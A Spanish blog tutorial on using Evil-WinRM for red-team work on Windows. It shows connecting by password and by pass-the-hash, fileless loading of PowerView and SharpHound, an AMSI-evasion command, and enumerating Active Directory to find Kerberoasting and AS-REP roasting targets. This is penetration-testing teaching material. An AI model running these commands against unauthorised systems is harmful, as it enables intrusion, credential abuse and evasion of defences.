Evil-WinRM shell remota a través del servicio WinRM

 

https://www.onlinetis.com

Evil-WinRM shell remota a través del servicio WinRM

Evil-WinRM es la herramienta estándar para red teams y pentesters cuando se busca obtener una shell remota interactiva en un sistema Windows a través del servicio WinRM (Windows Remote Management).

Suele ejecutarse sobre los puertos 5985 (HTTP) y 5986 (HTTPS).

1. Instalación en Kali Linux

En la mayoría de las versiones de Kali Linux viene preinstalada o disponible en los repositorios oficiales:

Bash
sudo apt update && sudo apt install evil-winrm

También se puede instalar como gema de Ruby:

Bash
sudo gem install evil-winrm

2. Comandos de Uso Frecuentes

Conexión básica (Usuario y Contraseña)

Bash
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!'

Ataque Pass-the-Hash (Con Hash NTLM)

Si no tienes la contraseña en texto plano pero obtuviste el hash NTLM:

Bash
evil-winrm -i 192.168.1.50 -u Administrador -H 32ed87bdb5fdc5e9cba88547376818d4

Conexión Segura (SSL / Puerto 5986)

Bash
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!' -S

Cargar Scripts de PowerShell al Iniciar

Puedes especificar un directorio local donde tengas scripts de PowerShell (como PowerUp o BloodHound) para cargarlos automáticamente en memoria:

Bash
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!' -s /usr/share/powershell-empire/empire/server/data/module_source/privesc/

3. Comandos Útiles Dentro de la Shell de Evil-WinRM

Una vez establecida la sesión, Evil-WinRM proporciona comandos integrados muy útiles que simplifican el trabajo:

ComandoDescripción
upload <archivo_local> <ruta_remota>Sube un archivo desde tu Kali al sistema objetivo.
download <archivo_remoto> <ruta_local>Descarga un archivo del sistema objetivo hacia tu Kali.
menuMuestra las funciones cargadas en memoria (scripts .ps1 o DLLs).
servicesLista los servicios del sistema objetivo.
Bypass-4KIntenta evadir ciertos mecanismos de detección/AMSI de PowerShell.

Nota de seguridad: Para que Evil-WinRM funcione, el objetivo debe tener habilitado el servicio WinRM (muy común en entornos Active Directory) y tu usuario debe pertenecer al grupo Remote Management Users o Administrators.


Para enumerar un dominio de Active Directory (AD) desde una sesión interactiva de Evil-WinRM, la ventaja clave es que puedes cargar scripts directamente en la memoria del objetivo sin necesidad de escribirlos en el disco (fileless execution), evitando así muchas alertas de antivirus.

1. Cargar Scripts de PowerShell en Memoria con Evil-WinRM

Puedes cargar scripts locales de Kali Linux en la sesión objetivo usando el parámetro -s al conectar:

Bash
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!' -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/

O cargarlo dinámicamente dentro de la sesión de Evil-WinRM usando el comando nativo upload o el comando de PowerShell Import-Module:

PowerShell
Import-Module .\PowerView.ps1

2. Herramientas y Scripts Principales para Enumeración

A. PowerView (Parte de PowerSploit)

Es la herramienta por excelencia para la enumeración de Active Directory mediante PowerShell.

Comando de PowerViewPropósito / Información obtenida
Get-DomainInformación básica del dominio actual (SID, nombre, controladores de dominio).
Get-DomainControllerIdentifica los Domain Controllers del entorno.
Get-DomainUserLista todos los usuarios del dominio.
Get-DomainUser -PreauthNotRequiredIdentifica cuentas vulnerables a AS-REP Roasting.
Get-DomainGroupMember -Identity "Domain Admins"Muestra los miembros del grupo Domain Admins.
Get-DomainComputer -Properties Name, OperatingSystemLista todos los equipos y servidores unidos al dominio.
Get-DomainSPNCheck / Get-DomainUser -SPNBusca usuarios con Service Principal Names para realizar Kerberoasting.
Get-DomainGPOMuestra las Directivas de Grupo (GPO) aplicadas en el dominio.
Get-DomainTrustMuestra las relaciones de confianza (trusts) con otros dominios o bosques.

B. BloodHound (Ingestor: SharpHound.ps1)

Para recolectar la estructura completa de relaciones, permisos y rutas de ataque dentro del dominio para analizarlas visualmente en BloodHound.

PowerShell
# Importar el módulo dentro de la sesión de Evil-WinRM
Import-Module .\SharpHound.ps1

# Ejecutar la recolección completa (genera un archivo .zip)
Invoke-BloodHound -CollectionMethod All -ZipFileName "datos_ad.zip"

Una vez generado el archivo .zip, puedes bajarlo a tu Kali usando el comando nativo de Evil-WinRM:

Bash
download datos_ad.zip /home/kali/datos_ad.zip

C. Módulo Nativo ActiveDirectory de PowerShell

Si el equipo donde iniciaste sesión tiene instaladas las herramientas RSAT (Remote Server Administration Tools), puedes usar el módulo nativo sin cargar scripts externos:

PowerShell
# Cargar el módulo nativo si está presente
Import-Module ActiveDirectory

# Ejemplos de uso nativo:
Get-ADDomain
Get-ADUser -Filter * -Properties SamAccountName, Enabled
Get-ADGroupMember -Identity "Administradores del dominio"
Get-ADComputer -Filter * -Properties Name, IPv4Address

3. Comandos Útiles de PowerShell Sin Módulos Externos

Si no puedes subir scripts y el módulo ActiveDirectory no está instalado, puedes realizar consultas básicas a AD usando ADSI (Active Directory Service Interfaces) o el comando net:

PowerShell
# Enumerar usuarios del dominio
net user /domain

# Enumerar miembros del grupo Administradores del Dominio
net group "Domain Admins" /domain

# Localizar el Controlador de Dominio principal
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Buscar usuarios con el atributo SPN activado (Kerberoasting rápido)
$search = [ADSISearcher]"(servicePrincipalName=*)"
$search.FindAll()


https://www.onlinetis.com

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Como utilizar Fierce en kali linux

Hacking y ciberseguridad en kali linux con atk6-thcping6